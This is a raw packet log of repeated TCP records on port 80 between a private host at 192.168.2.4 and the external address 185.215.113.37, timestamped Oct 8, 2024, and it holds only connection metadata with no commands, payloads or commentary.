Oct 8, 2024 08:22:16.457195997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457242966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457242966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457254887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457269907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457288980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457300901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457305908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457319975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457328081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457334995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457346916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457349062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457364082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457372904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457372904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457407951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457407951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457997084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458009958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458022118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458034039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458045006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458051920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.458051920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.458059072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458074093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.458076954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458081961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458093882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458103895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.458110094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.458139896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.458139896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.458161116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509402037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509414911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509423971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509438038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509447098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509454966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509464979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509469032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509476900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509517908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509681940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509691000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509700060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509708881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509716988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509731054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509733915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509741068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509752035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509756088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509762049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509772062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509780884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509782076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509782076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509790897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509800911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509807110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509816885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509826899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509828091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509840965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509848118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509862900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509877920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509886980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509896040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509908915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509910107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509931087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.509948015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.509949923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510051966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510061026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510070086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510078907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510088921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510096073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510106087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510126114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510127068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510159016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510174036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510184050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510193110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510201931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510210037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510219097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510217905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510230064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510240078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510270119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510354996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510365009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510373116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510381937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510390997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510401011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510401011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510410070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510421991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510454893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510454893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510493994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510504007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510512114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510520935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510545969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510575056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510588884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510597944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510606050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510615110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510622978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510637045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510670900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510670900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510704041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510713100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510721922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510730982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510741949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510750055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510767937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510807037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510807037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510827065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510838032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510845900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510854959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510864019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510873079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510879040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510896921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510927916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.510976076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510981083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510982990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.510993004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.511003017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.511029005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.511059999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.511202097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.511210918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.511219978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.511256933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544498920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544529915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544538975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544549942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544583082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544593096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544603109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544615030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544646978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544681072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544688940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544699907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544708967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544719934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544729948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544739008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544760942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544780016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544780016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544790983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544801950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544826984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544858932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.544940948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544951916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544961929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544971943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544981003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544991016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.544995070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545001984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545017004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545048952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545048952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545064926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545077085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545085907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545095921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545105934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545114994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545119047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545126915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545144081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545161963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545212030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545228004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545238018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545249939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545253992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545263052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545279980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545284033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.545300961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.545356989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.596887112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.596904039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.596913099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.596945047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.596955061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.596980095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597014904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597022057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597033024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597043037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597075939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597075939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597127914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597137928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597147942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597157955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597167015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597173929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597196102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597225904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597301006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597311020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597320080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597328901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597337961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597347021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597351074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597357035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597369909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597398996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597398996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597404957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597414970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597424984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597450972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597453117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597460032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.597476006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597501040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.597501040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.717292070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.722142935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935164928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935204029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935270071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935301065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935323954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935353994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935404062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935416937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935416937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935462952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935467958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935508966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935513973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935564995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935569048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935596943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935614109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935662031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935664892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935694933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935723066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935729027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935748100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935762882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935775042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935810089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935812950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935842037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935863018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935885906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935889959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935924053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935939074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935956955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.935981035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.935991049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936006069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936023951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936044931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936057091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936070919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936090946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936110020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936132908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936141968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936173916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936188936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936223030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936225891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936255932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936273098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936289072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936301947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936337948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936341047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936374903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936393976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936405897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936419010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936455011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936455965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936506987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936507940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936539888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936556101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936578989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936588049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936625004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936636925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936656952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936675072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936690092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936706066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936722994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936733961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936759949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936772108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936793089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936815977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936825991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936836004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936858892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936868906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936903000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.936909914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.936942101 CEST	80	49730	185.215.113.37	192.168.2.4
